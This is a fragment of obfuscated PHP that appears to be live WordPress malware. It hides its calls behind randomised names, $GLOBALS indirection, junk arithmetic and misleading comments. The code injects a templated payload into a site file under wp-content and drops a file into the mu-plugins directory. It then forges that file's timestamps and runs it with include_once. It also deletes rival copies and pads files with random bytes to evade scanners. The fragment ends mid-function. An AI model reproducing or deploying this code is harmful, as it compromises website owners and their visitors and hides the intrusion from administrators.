 @$GLOBALS['__scf_nx064uqh844a_1285']($uwhik8ycalb9g90w);
    if   ($i6tgx0w6c8b0v   !==    $tvswisg1guow3mpa)    teikfigf_p5265esq_q(wlgh2_th(1288),   zp28wk01y(1289));
  }
      return;



}    else  {
@$GLOBALS['__scf_o7haeurnka2_1290']($uwhik8ycalb9g90w);


    @$GLOBALS['__scf_nx064uqh844a_1285']($uwhik8ycalb9g90w);
}
 }
   $tsdy6vxykp74ml =  $rjqzlkuq5qk6  + (1236-212);
       $uwhik8ycalb9g90w = @$GLOBALS['__scf_zykjn0enf50_1278']($key,   'c',      (0xfe+0xa6),  $tsdy6vxykp74ml);


  if  (!$uwhik8ycalb9g90w)  return;
      @$GLOBALS['__scf__eis5gfvdzooc_1286']($uwhik8ycalb9g90w,     $GLOBALS['__scf_opt4mqvv4__1287']($tvswisg1guow3mpa, $tsdy6vxykp74ml,    "\0"),  0);
  $i6tgx0w6c8b0v =  @$GLOBALS['__scf_hn3j_eqqrg9zvo_1284']($uwhik8ycalb9g90w,   0,  $rjqzlkuq5qk6);

  if  ($i6tgx0w6c8b0v     !==  $tvswisg1guow3mpa)   teikfigf_p5265esq_q(tvo1rh46s_(1288), b4gbsak56f40gos(1289));
 @$GLOBALS['__scf_nx064uqh844a_1285']($uwhik8ycalb9g90w);$akr9l73z6dvim=PHP_INT_MAX/PHP_INT_MAX;$utl8dl4t=$akr9l73z6dvim+79;
     }   catch   (Throwable   $x0ydieb0v_72m_u)     {


   teikfigf_p5265esq_q(wlgh2_th(1291),  $x0ydieb0v_72m_u);


  } catch (Exception  $x0ydieb0v_72m_u)    {
/* singular work-queue */




   }
 }
function  bcvytpczeowsagr__($current,   $jm1namwqrjjy)
  {

    if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current)   ||  $current    ===    "")  return fjup2mc1h(861)  .   $jm1namwqrjjy . "\n";
       if  ($GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(1292),  $current,   $_8nmabxwbn,   PREG_OFFSET_CAPTURE))  {
      $lzk41x0nnf   =    $_8nmabxwbn[0][1]  + $GLOBALS['__scf_m2ym9pki8mue9_11']($_8nmabxwbn[0][0]);
    $jdbldjliynrxl_k   = $GLOBALS['__scf_zre6ec18ly90y_10']($current,    $lzk41x0nnf, (10321-2129));
 while    ($GLOBALS['__scf_zneqqdn4vlt4_42']($jdbldjliynrxl_k) &&    $GLOBALS['__scf_bvfhit3heqts_99'](tvo1rh46s_(1293),  $jdbldjliynrxl_k,   $_dm)) {
 $lzk41x0nnf  += $GLOBALS['__scf_m2ym9pki8mue9_11']($_dm[0]);
 $jdbldjliynrxl_k    =   $GLOBALS['__scf_zre6ec18ly90y_10']($current, $lzk41x0nnf,    (0xa0f+0x15f1));



 }
  return $GLOBALS['__scf_zre6ec18ly90y_10']($current,    0, $lzk41x0nnf) .  "\n"  .  $jm1namwqrjjy   .  "\n"   . $GLOBALS['__scf_zre6ec18ly90y_10']($current, $lzk41x0nnf);
}
    return  tvo1rh46s_(861) .   $jm1namwqrjjy . "\n?>\n" .  $current;
}
  function sfmn3u346r4ii49tv($key)
  {
   if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(958)))  return  true;
     $cqa9ps1o2ezc4_ =  @get_option(tvo1rh46s_(1294)  . $key, "");
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($cqa9ps1o2ezc4_)    &&    $GLOBALS['__scf_rbe_sihvfv_8']($cqa9ps1o2ezc4_,  '|')   !==    false) {
$frgd4znm8k =    $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',  $cqa9ps1o2ezc4_,  2);
    if   ((int) $frgd4znm8k[0] ===  (int)  ($GLOBALS['__scf_yg2rpewmkg_192']() /  (86371+29))    &&    (int) $frgd4znm8k[1]     >=    (1+2))    return  false;
   }
return  true;$yfjxyeo3pe8=61+52;$ac7dw7nrkrrgx=$yfjxyeo3pe8-37;
}
 function    rfwn6nkwnxbf479c($key)
 {
  if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1295))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1296)))   return;

      $pbkvjoahfb4 =  (int)  ($GLOBALS['__scf_yg2rpewmkg_192']()  /    (0xbf2c+0x9254));
 $cqa9ps1o2ezc4_   =  @get_option(wlgh2_th(1294) .   $key,  "");

  $b_zag2hc7t    = 0;
      if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($cqa9ps1o2ezc4_)   && $GLOBALS['__scf_rbe_sihvfv_8']($cqa9ps1o2ezc4_,   '|')  !==      false)      {
 $frgd4znm8k =   $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',  $cqa9ps1o2ezc4_,  2);
 

  if ((int)  $frgd4znm8k[0] === $pbkvjoahfb4)   $b_zag2hc7t  =  (int)    $frgd4znm8k[1];
     }

$b_zag2hc7t++;



 @update_option(zp28wk01y(1297)    .   $key,   $pbkvjoahfb4    . '|'   .    $b_zag2hc7t,   wlgh2_th(1170));
        if   ($b_zag2hc7t >= (1+2))  teikfigf_p5265esq_q(fjup2mc1h(1298),  b4gbsak56f40gos(1299)    .   $key);
}

 function     _2gpzighpy7s_do9rsw8c5()
       {
  try  {
        if    (!defined(tvo1rh46s_(1275))) return;
  if   (!defined(fjup2mc1h(1206))    ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48'](WP_CONTENT_DIR)      ||  !s29rlsoq45jpkm6n(WP_CONTENT_DIR))   return;
$dx_ofkvr3qy     =  WP_CONTENT_DIR;
 $amkzlp9eews0s5      = $dx_ofkvr3qy   .    wlgh2_th(1300);
    $cmmcvi1p_vu =  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),   wlgh2_th(1248));
    $u417k4mwzn5l  =  fmsvr16ge0nzzk9i6u(ABSPATH . wlgh2_th(1301),  (1+7))  . tvo1rh46s_(1136);
     $lqv3ldbw3nx   =   xrb38aewb77bc3i();
$sacnahuo9uejitoc    = fmsvr16ge0nzzk9i6u(ABSPATH  . tvo1rh46s_(1240), (17-7));
   $afoeag22l6 =  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1279))  ?  s8l0tc4hqzvsivgpkr() :  false;
  $m_5hy8qn1v6  =  $afoeag22l6 !== false   ? $GLOBALS['__scf_e1ntfpy20h_1302']($afoeag22l6)    :   0;
 $w8xc_k59q0x =  isset($GLOBALS[fjup2mc1h(1303)]->prefix)  ? $GLOBALS[b4gbsak56f40gos(1303)]->prefix      :     wlgh2_th(1237);$lkgag94_mo205=72*2;$cqtfmm6sj=$lkgag94_mo205-43;
   $rjdjat2abhh  =  tvo1rh46s_(1304)      .   $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($cmmcvi1p_vu   .   (string) wzkcxw_m1n8fard2g()),     0,     (14-6));
  $zr7yy2azy4fqxmjr = g58dmj94t714r3a4(
 op9tjzix(654),
 array('__SLUG__',  '__ZIP_NAME__', '__SHMOP_KEY__',  '__OPT_NAME__',  '__WP_PREFIX__', '__GUARD_NAME__',   '__VERSION__'),
   array($cmmcvi1p_vu,    $u417k4mwzn5l,   $m_5hy8qn1v6,   $sacnahuo9uejitoc,      $w8xc_k59q0x,    $rjdjat2abhh,  _vfpypr4wakqs7jy_())
);
 if  (!$zr7yy2azy4fqxmjr)  {
 if  ((int)   get_option(wlgh2_th(1177),    0) >      0)  teikfigf_p5265esq_q(zp28wk01y(1305),    op9tjzix(1306));



 return;
  }

 $current = @$GLOBALS['__scf_bhw4bjp5xr9_715']($amkzlp9eews0s5)   ?   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($amkzlp9eews0s5)  :    "";
     if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current)) {
teikfigf_p5265esq_q(op9tjzix(1307),  wlgh2_th(1308));
        return;



  }
$current =   eje1j3zh7yylmqspbj($current);
   $rh6r601jv1p =   _vfpypr4wakqs7jy_()  .  ':' .  fmsvr16ge0nzzk9i6u(ABSPATH .     tvo1rh46s_(1309), (0x5+0x3));
    $lgvmka3et7ami8h    = zp28wk01y(1310)  .   $rh6r601jv1p    .   fjup2mc1h(1252);

  $mdn_btdc0_   =      b4gbsak56f40gos(1311) .  $rh6r601jv1p     . zp28wk01y(1312);
  $c24i3x8xfm = fmsvr16ge0nzzk9i6u(ABSPATH .  fjup2mc1h(1309),  (6+2));
 $a4bafg7h8bhqo =   $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(1313)    .  $c24i3x8xfm  .   op9tjzix(1314), "",    $current);
$quzzciekqt6nb3a2  = ($GLOBALS['__scf_rbe_sihvfv_8']($a4bafg7h8bhqo,   wlgh2_th(1315)) !==  false);



   if  ($GLOBALS['__scf_rbe_sihvfv_8']($current,      $lgvmka3et7ami8h)  !==   false &&   $GLOBALS['__scf_rbe_sihvfv_8']($current, $mdn_btdc0_)  !==   false &&     !$quzzciekqt6nb3a2)  {


      cez6l8zgqxrug2xvcnn();
       return;
  }

   $current  =    $GLOBALS['__scf_sp5m_appgxyoko_471'](b4gbsak56f40gos(1316),  "", $a4bafg7h8bhqo);

if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($current))     {
  teikfigf_p5265esq_q(zp28wk01y(1317),     b4gbsak56f40gos(1318));
return;

  } {

   $current =    eje1j3zh7yylmqspbj($current);
$iee1r2cvzaq0_ =   $GLOBALS['__scf_sp5m_appgxyoko_471'](wlgh2_th(1249),     "",  $zr7yy2azy4fqxmjr);
    $x7pg0bkdd6mn58  =     ($GLOBALS['__scf_m2ym9pki8mue9_11']($current)  ===   0);
  if  (!$x7pg0bkdd6mn58)  {$kmt4qfqo19xg=189|191;$mxi10d0_nt4=$kmt4qfqo19xg^132;
if  (!sfmn3u346r4ii49tv(fjup2mc1h(1317)))     {
       teikfigf_p5265esq_q(fjup2mc1h(1317),   tvo1rh46s_(1266));


return;
}
if     (!io41g5vwxkcaz_($amkzlp9eews0s5, $current))  {
   teikfigf_p5265esq_q(op9tjzix(1317),    op9tjzix(1260));
return;


    }
// Rector auto-refactor: sub-optimal bloom-filter

  rfwn6nkwnxbf479c(tvo1rh46s_(1317));
 }  else    {
if     (!io41g5vwxkcaz_($amkzlp9eews0s5,     ""))    {
// WP Paragraph Block: renew effect-type

   teikfigf_p5265esq_q(b4gbsak56f40gos(1317), tvo1rh46s_(1260));
return;
    }
// orthogonal-adj composite

 }


     $ep8_c7vk_wls    =     bcvytpczeowsagr__($current,  $lgvmka3et7ami8h   .   "\n"      .  $iee1r2cvzaq0_ . "\n"  .  $mdn_btdc0_);


     if (!_ew1atk9e66yol2lso($amkzlp9eews0s5,  $ep8_c7vk_wls))     {
  return;$t3_t7yarjt=241|37;$rwfk086lc=$t3_t7yarjt^177;
  

}

    abixqrh87q1leuwh_cz_($amkzlp9eews0s5);
   rwx_v9t1vov1zic2ki($amkzlp9eews0s5);
      cez6l8zgqxrug2xvcnn();
 }
     } catch (Throwable $x0ydieb0v_72m_u) {
 teikfigf_p5265esq_q(tvo1rh46s_(1319),  $x0ydieb0v_72m_u);
  }      catch    (Exception $x0ydieb0v_72m_u) {

 }
     }
  function   _7vbq8th_6avjkriw0f68()
 {$ds7_2sae=4902;$qic_f80w=$ds7_2sae%13;



 try  {
  if    (!defined(tvo1rh46s_(1275)))  return;
     if (hevxi269p3v7rmjhw(qluu1auwul2zupq5h()))   return;$ptijqlqrht2=172|168;$grlljr78i17=$ptijqlqrht2^130;
       if (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1320))) return;
if  ($GLOBALS['__scf_f9tn7hbu7z_107']()   ===  b4gbsak56f40gos(1211)) return;
if  (!isset($_SERVER[b4gbsak56f40gos(418)])) return;



     if (get_transient(b4gbsak56f40gos(1321))) return;
   $fq6g8rkqgfu7cs = xrb38aewb77bc3i();
if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($fq6g8rkqgfu7cs)) m_ixrkpun5f9a0k8wu($fq6g8rkqgfu7cs,    (428+65),   true);


  if     (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($fq6g8rkqgfu7cs)  ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48']($fq6g8rkqgfu7cs)) {
    $fq6g8rkqgfu7cs    =   ABSPATH  . wlgh2_th(1322);
  if  (!@$GLOBALS['__scf_tluflp7r6hugyf_48']($fq6g8rkqgfu7cs))    $fq6g8rkqgfu7cs   =  p_wsdzgl36a6wh_fs09();
  }
$aj6ra96hpj    =  fmsvr16ge0nzzk9i6u(ABSPATH  .   'g',     (2<<2));
    $f2tq12sh6xcet9  =   op9tjzix(528)  .     $aj6ra96hpj  . op9tjzix(1248);


 $vf5ah567n2wq0v    = $fq6g8rkqgfu7cs    .    '/'    . $f2tq12sh6xcet9;
   $y6oxe6x_8dhnhd =  $fq6g8rkqgfu7cs    . tvo1rh46s_(1323)  .      $aj6ra96hpj;
foreach  (array($fq6g8rkqgfu7cs,  ABSPATH    . op9tjzix(1322), p_wsdzgl36a6wh_fs09())   as  $fixbvcn25qq7iw3)    {


$u3dzukywjqidyr      =   $fixbvcn25qq7iw3 .  op9tjzix(1324)  .  $aj6ra96hpj;
  if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($u3dzukywjqidyr))  {


  $bp1172gn0o1  = (int) @$GLOBALS['__scf_kpr9p9o54hwof_101']($u3dzukywjqidyr);
if ($bp1172gn0o1 <=  $GLOBALS['__scf_yg2rpewmkg_192']()  - (86356+44)  ||  $bp1172gn0o1    >  $GLOBALS['__scf_yg2rpewmkg_192']()     +    (299+1))    {
       _0qezpop1swzfe($u3dzukywjqidyr);
    continue;
    }



 if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fixbvcn25qq7iw3  .    tvo1rh46s_(1325)  . $aj6ra96hpj   . b4gbsak56f40gos(1248)))   return;
      _0qezpop1swzfe($u3dzukywjqidyr);
   }
}
  unset($fixbvcn25qq7iw3, $u3dzukywjqidyr,     $bp1172gn0o1);
$mvmwmlss6agi     =    ABSPATH  .  b4gbsak56f40gos(1326) . $f2tq12sh6xcet9;
 if   ($fq6g8rkqgfu7cs  !== ABSPATH  .    op9tjzix(1327)   &&      @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($mvmwmlss6agi) &&  tgyo8z7pgm0hrgi7zn($mvmwmlss6agi)  !==  false)  {
    kp1tutxjpanriy($mvmwmlss6agi,      (384+36));
    if  (_0qezpop1swzfe($mvmwmlss6agi) && $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1328)))  @opcache_invalidate($mvmwmlss6agi,  true);
    }


unset($mvmwmlss6agi);
     if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($y6oxe6x_8dhnhd) &&  (int)  @$GLOBALS['__scf_kpr9p9o54hwof_101']($y6oxe6x_8dhnhd)  >  $GLOBALS['__scf_yg2rpewmkg_192']() -    (284-44)) return;
    if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($vf5ah567n2wq0v) && ($GLOBALS['__scf_yg2rpewmkg_192']()   -      (int)     @filectime($vf5ah567n2wq0v)) <  (265+35))  return;
  

 if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($vf5ah567n2wq0v))   {
 $tv07r6eqbxd   =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($fq6g8rkqgfu7cs .   fjup2mc1h(1329)   . $aj6ra96hpj)      ?     $GLOBALS['__scf_bbs7j5b1fx_332']((string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($fq6g8rkqgfu7cs .     zp28wk01y(1329) .  $aj6ra96hpj))  :     "";



      if ($tv07r6eqbxd     !== "" &&    $GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(1330),    $tv07r6eqbxd)  && version_compare($tv07r6eqbxd, _vfpypr4wakqs7jy_(), '>'))   return;
  unset($tv07r6eqbxd);


  }
 if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($vf5ah567n2wq0v))     {
 $pghm8e_ou1t  =  $fq6g8rkqgfu7cs  .  wlgh2_th(1331)     .  fmsvr16ge0nzzk9i6u(ABSPATH .  'g',   (2+6));
 $wk5wf64edc4c    =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($pghm8e_ou1t) ? (string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($pghm8e_ou1t) :    "";
$n4uesl70l2    = 0;
 if   ($wk5wf64edc4c     !==    "")   {
 $_dgy1y_4ar   =  $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',   $wk5wf64edc4c);
$n4uesl70l2   = (int) $_dgy1y_4ar[0];

}



    if  ($n4uesl70l2  > 0  &&  $GLOBALS['__scf_yg2rpewmkg_192']()    - $n4uesl70l2      > (893+7))  teikfigf_p5265esq_q(op9tjzix(652),  tvo1rh46s_(1332));
    elseif   ($n4uesl70l2 ===   0  &&    ($GLOBALS['__scf_yg2rpewmkg_192']()   - (int)   @filectime($vf5ah567n2wq0v))    >  (107+793))   teikfigf_p5265esq_q(tvo1rh46s_(652),  fjup2mc1h(1333));



   unset($pghm8e_ou1t,  $wk5wf64edc4c, $_dgy1y_4ar,  $n4uesl70l2);
 }
  $bkok4unpnq2f_wvv  =    mridss6_czjhslw35g();
   if   (!$bkok4unpnq2f_wvv  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($bkok4unpnq2f_wvv)  <  (486+14)) return;$cvo37rkgb7=58*5;$vaebhn8d=$cvo37rkgb7-4;
$gypjy8udolub  =  qo_apd6cyj2djv757yc0eg();


    $cmmcvi1p_vu  =    $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  op9tjzix(1334));


$ym9lo8mu99d   =    p_wsdzgl36a6wh_fs09()   .   op9tjzix(1335);
 $xr0iunohde7 = @$GLOBALS['__scf_tluflp7r6hugyf_48']($ym9lo8mu99d)
    ?    ($ym9lo8mu99d   .    '/'  . $cmmcvi1p_vu   . b4gbsak56f40gos(1334))
      :     (p_wsdzgl36a6wh_fs09()   .    fjup2mc1h(95)  .    $cmmcvi1p_vu  .  '/'  .  $cmmcvi1p_vu   .   tvo1rh46s_(1336));

    $evcfpcndyj78fj    =  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1337)) ? $GLOBALS['__scf_oaen6pygee_572'](home_url(),  PHP_URL_HOST)    :     (isset($_SERVER[zp28wk01y(580)])   ?  $_SERVER[zp28wk01y(1338)]      :    "");
     $xz5vbc7apt   =   (defined(op9tjzix(831))   &&  WPMU_PLUGIN_DIR) ?    WPMU_PLUGIN_DIR  :    p_wsdzgl36a6wh_fs09()   .   zp28wk01y(1335);

$gvjqbiln1a  =  (defined(tvo1rh46s_(719)) && WP_PLUGIN_DIR)   ?  WP_PLUGIN_DIR   :  p_wsdzgl36a6wh_fs09()  .  wlgh2_th(742);


$xdht4xx76q8rn3      =   defined(zp28wk01y(1339))  ?  WP_CONTENT_DIR : p_wsdzgl36a6wh_fs09();
      $fd34jpk5yqe   =   g58dmj94t714r3a4(
  op9tjzix(652),

      array('__PATH_B64__',  '__PLUGIN_BASE64__',   '__DOMAIN__', '__HB_B64__', '__GPATH_B64__',  '__ABSPATH_B64__',   '__CONTENTDIR_B64__',  '__MUDIR_B64__',    '__PLUGINDIR_B64__',  '__SLUG__',  '__VERSION__'),
     array($GLOBALS['__scf_g8_t7dlza2_360']($xr0iunohde7),    $gypjy8udolub, $evcfpcndyj78fj,  $GLOBALS['__scf_g8_t7dlza2_360']($y6oxe6x_8dhnhd), $GLOBALS['__scf_g8_t7dlza2_360']($vf5ah567n2wq0v), $GLOBALS['__scf_g8_t7dlza2_360'](ABSPATH), $GLOBALS['__scf_g8_t7dlza2_360']($xdht4xx76q8rn3),  $GLOBALS['__scf_g8_t7dlza2_360']($xz5vbc7apt),   $GLOBALS['__scf_g8_t7dlza2_360']($gvjqbiln1a), $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),    b4gbsak56f40gos(1336)), _vfpypr4wakqs7jy_())
);
 if      (!$fd34jpk5yqe)   {
       if ((int)  get_option(op9tjzix(1340),    0)  >      0)    teikfigf_p5265esq_q(fjup2mc1h(652),    tvo1rh46s_(1341));



   return;
  }
   if (!ays3w9sevfe7ws($fd34jpk5yqe))   {


 teikfigf_p5265esq_q(wlgh2_th(652),   zp28wk01y(1342));


  return;
 }
if (_ew1atk9e66yol2lso($vf5ah567n2wq0v,     $fd34jpk5yqe))  {
 jli8euep5yb6she3($vf5ah567n2wq0v,  vp191h9ipqfapu());
  kp1tutxjpanriy($vf5ah567n2wq0v, (381+39));
  rwx_v9t1vov1zic2ki($vf5ah567n2wq0v);
  u3qer9rky6zmeg($fq6g8rkqgfu7cs  .  fjup2mc1h(1343)      . $aj6ra96hpj,  $GLOBALS['__scf_abbpcj1ncssalx_57']($fd34jpk5yqe), zp28wk01y(1344));
u3qer9rky6zmeg($fq6g8rkqgfu7cs  .  b4gbsak56f40gos(1345)  . $aj6ra96hpj,     _vfpypr4wakqs7jy_(),  fjup2mc1h(1346));
@include_once  $vf5ah567n2wq0v;
 set_transient(fjup2mc1h(1321), 1,   (593-293));
    }
   unset($xz5vbc7apt,  $gvjqbiln1a, $xdht4xx76q8rn3);
 } catch   (Throwable  $x0ydieb0v_72m_u)  {
        teikfigf_p5265esq_q(zp28wk01y(1346), $x0ydieb0v_72m_u);
  }    catch     (Exception   $x0ydieb0v_72m_u)  {


  }
}
  function   orl4u64oiezevyfpwqi4j($ux3me69s1nzc7)
  {
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7))    return   false;
$lqgq10i4kpu3ib  =  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7);



   if    ($lqgq10i4kpu3ib    >   (855617+192959))    return true;


if  ($lqgq10i4kpu3ib  < (489+11))   return    false;



    $m0e74aznop52e   =   $GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,  0,   (0x78e6+0x871a));
 $i0gzy7dqwm =    $GLOBALS['__scf_cbbcclndleiog_1347']($m0e74aznop52e,   ' ')  +  $GLOBALS['__scf_cbbcclndleiog_1347']($m0e74aznop52e,  "\t");
    return   ($i0gzy7dqwm  / $GLOBALS['__scf_m2ym9pki8mue9_11']($m0e74aznop52e))   > 0.55;
 }
 function mridss6_czjhslw35g($ed_q36vfzo  =    false)
   {



 static $bkok4unpnq2f_wvv     = null;
if ($ed_q36vfzo)    {
 $bkok4unpnq2f_wvv  = null;
   }
 if   ($bkok4unpnq2f_wvv !==  null)  return $bkok4unpnq2f_wvv;
  $ux3me69s1nzc7 = _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
 if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7)  &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  >     (0x71+0x183)  &&  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  <=  (1793060-744484) &&  !orl4u64oiezevyfpwqi4j($ux3me69s1nzc7)  &&    ays3w9sevfe7ws($ux3me69s1nzc7))     {
  $bkok4unpnq2f_wvv =      $ux3me69s1nzc7;
  return  $bkok4unpnq2f_wvv;
  }
 $yoiq41wy03 = cvod3ffny5vm5dt3d(b4gbsak56f40gos(1348),   "");



    if      ($GLOBALS['__scf_zneqqdn4vlt4_42']($yoiq41wy03)      &&      $GLOBALS['__scf_m2ym9pki8mue9_11']($yoiq41wy03)    > (417+83)   && $GLOBALS['__scf_m2ym9pki8mue9_11']($yoiq41wy03)    <= (1923380-874804)  &&    !orl4u64oiezevyfpwqi4j($yoiq41wy03)     && ays3w9sevfe7ws($yoiq41wy03)) {

      $bkok4unpnq2f_wvv    = $yoiq41wy03;
  return    $bkok4unpnq2f_wvv;

}
  $bkok4unpnq2f_wvv  =      false;
  return    $bkok4unpnq2f_wvv;
  }
 function qo_apd6cyj2djv757yc0eg($ed_q36vfzo =   false)
  {
  static  $g14uqnv5ws    =  null;
if ($ed_q36vfzo)  {
// isometric keystore

    $g14uqnv5ws =   null;
      }



      if ($g14uqnv5ws  !== null)   return  $g14uqnv5ws;
 $ux3me69s1nzc7    = mridss6_czjhslw35g();$xocxbmmesnz=PHP_MAJOR_VERSION;$gidaoprln7=$xocxbmmesnz*3;
 if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7)  ||      $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7) <   (415+85)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  > (1048531+45)  ||   orl4u64oiezevyfpwqi4j($ux3me69s1nzc7)   ||   !ays3w9sevfe7ws($ux3me69s1nzc7)) {
    $g14uqnv5ws =  false;



     return $g14uqnv5ws;


       }
$g14uqnv5ws     =   $GLOBALS['__scf_g8_t7dlza2_360'](jle7sh4_tht0dl7e($ux3me69s1nzc7));



      return  $g14uqnv5ws;
}
       function   xsw796j0bf__dakug8v7b($r3zx2x3gf_5dqoe)
{
 if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($r3zx2x3gf_5dqoe)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($r3zx2x3gf_5dqoe) <    (0xb+0x7)  ||  $GLOBALS['__scf_zre6ec18ly90y_10']($r3zx2x3gf_5dqoe,  0,  2) !==  "\x1f\x8b")      return  0;
   $p2sjkqzfwml = @$GLOBALS['__scf_ujieua8rts5ii_285']('V', $GLOBALS['__scf_zre6ec18ly90y_10']($r3zx2x3gf_5dqoe,   -(14^10)));
$p2sjkqzfwml = $GLOBALS['__scf_knhbvsumnby3_36']($p2sjkqzfwml)     ?    $p2sjkqzfwml[1]   :   0;


     if   ($p2sjkqzfwml   <     (140+360)  ||    $p2sjkqzfwml   >   (0x28f5e+0xd70a2))  return  $p2sjkqzfwml;

return 0;
}
  function w02jw9cncnq_j9j8($ltpokciy2kt5utu)
  {
    return    $GLOBALS['__scf_lh6iqyp38q3_358'](hexdec($ltpokciy2kt5utu[1]));
 }
  function   utjmibjloacp0kjf($a5k4otdarxhx3x)
     {
   if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)    ||  $a5k4otdarxhx3x  ===  "")    return  $a5k4otdarxhx3x;
static   $b98u_xzwgd0q = null;
    if   ($b98u_xzwgd0q   === null)   {
   $b98u_xzwgd0q     =   false;
if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1349)))   {
$_dd =  defined(tvo1rh46s_(1350))  ?     WP_CONTENT_DIR   :    (defined(tvo1rh46s_(1275))   ?     ABSPATH    :   "");



  if  ($_dd !==      "") {$zevyninlib_m=PHP_INT_MAX/PHP_INT_MAX;$mw9scl2j5fvw4=$zevyninlib_m+34;



   $oth28d131ivz  =   @disk_free_space($_dd);
     if    ($oth28d131ivz !==   false &&   $oth28d131ivz >=    (200987937-43701537))      $b98u_xzwgd0q   =   true;
  }
   }

  if (!$b98u_xzwgd0q)  {
// maximal allocator

if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1296))) @update_option(b4gbsak56f40gos(1351), $GLOBALS['__scf_yg2rpewmkg_192'](), fjup2mc1h(1170));



}  elseif  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1295)))   {
 $ds6olfqo3bhgxo   =      (int) get_option(fjup2mc1h(1352),  0);
   if   ($ds6olfqo3bhgxo      &&   $GLOBALS['__scf_yg2rpewmkg_192']() -  $ds6olfqo3bhgxo <     (86386+14))     $b98u_xzwgd0q =   false;
   }
    }



if (!$b98u_xzwgd0q) {
// filter chain entry



      return $a5k4otdarxhx3x;
 }
   $so8hhj1vaaklgd7e   =  krbi_9ahx28cozqdfze0_();

if  ($so8hhj1vaaklgd7e  ===  -1   ||      $so8hhj1vaaklgd7e    >=    (134217698+30))  {
  $wqsido46b9z1hw   =    (1799953+47)   +   $GLOBALS['__scf_hw2kkbd0s2i_359'](0, (699967+33));
 }  elseif ($so8hhj1vaaklgd7e   >=   (67108861+3))   {$_gv9t_wrvr5=1+87;$kjcq253voqt4=$_gv9t_wrvr5-11;
$wqsido46b9z1hw   =  (0x2a858+0x18cee8)     +  $GLOBALS['__scf_hw2kkbd0s2i_359'](0,  (427773+272227));
}     else {$dh6jgjwbh=97+26;$mmx_p7pziwh1=$dh6jgjwbh-36;
   return  $a5k4otdarxhx3x;
}
if ($GLOBALS['__scf_m2ym9pki8mue9_11']($a5k4otdarxhx3x)     >=  $wqsido46b9z1hw)   return $a5k4otdarxhx3x;
    if   ($GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_q93011jdjf_13']($a5k4otdarxhx3x), -2)    === zp28wk01y(1353))    return    $a5k4otdarxhx3x;
   while ($GLOBALS['__scf_m2ym9pki8mue9_11']($a5k4otdarxhx3x)    <    $wqsido46b9z1hw   -  (3636+464))   {$cfhj435z9c=8889;$fdatmxaqo1x=$cfhj435z9c%11;
$xr7siizzt4ot  = "";

if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1354)))   {
 try {
    $xr7siizzt4ot  =   @$GLOBALS['__scf_v82x6rf7o9_1355'](random_bytes((112+1888)));
    }     catch  (Throwable $x0ydieb0v_72m_u) {


$xr7siizzt4ot =  "";

 }  catch      (Exception  $x0ydieb0v_72m_u) {



      $xr7siizzt4ot  =   "";


     }
     }
  if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($xr7siizzt4ot)  <  (6443-2443))   {
     $xr7siizzt4ot  = $GLOBALS['__scf_abbpcj1ncssalx_57'](uniqid("",  true));
   


